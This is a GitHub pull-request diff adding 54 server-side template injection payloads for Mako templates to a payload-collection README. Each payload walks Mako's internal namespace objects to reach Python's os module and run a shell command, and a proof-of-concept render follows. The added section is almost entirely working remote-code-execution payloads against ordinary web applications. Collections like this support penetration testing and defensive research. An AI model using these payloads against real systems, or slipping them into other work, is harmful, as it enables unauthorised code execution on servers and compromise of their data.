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Merge pull request #418 from p0dalirius/patch-1

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54 context-free payloads for SSTI in Mako templates
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73
Server Side Template Injection/README.md
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@ -335,6 +335,9 @@ $str.valueOf($chr.toChars($out.read()))
## Mako ## Mako
[Official website](https://www.makotemplates.org/)
> Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.
```python ```python
<% <%
import os import os
@ -343,6 +346,76 @@ x=os.popen('id').read()
${x} ${x}
``` ```
### Direct access to os from TemplateNamespace:
Any of these payloads allows direct access to the `os` module
```python
${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
```
PoC :
```python
>>> print(Template("${self.module.cache.util.os}").render())
<module 'os' from '/usr/local/lib/python3.10/os.py'>
```
Source [@podalirius_](https://twitter.com/podalirius_) : [https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/](https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/)
## Jinja2 ## Jinja2
[Official website](https://jinja.palletsprojects.com/) [Official website](https://jinja.palletsprojects.com/)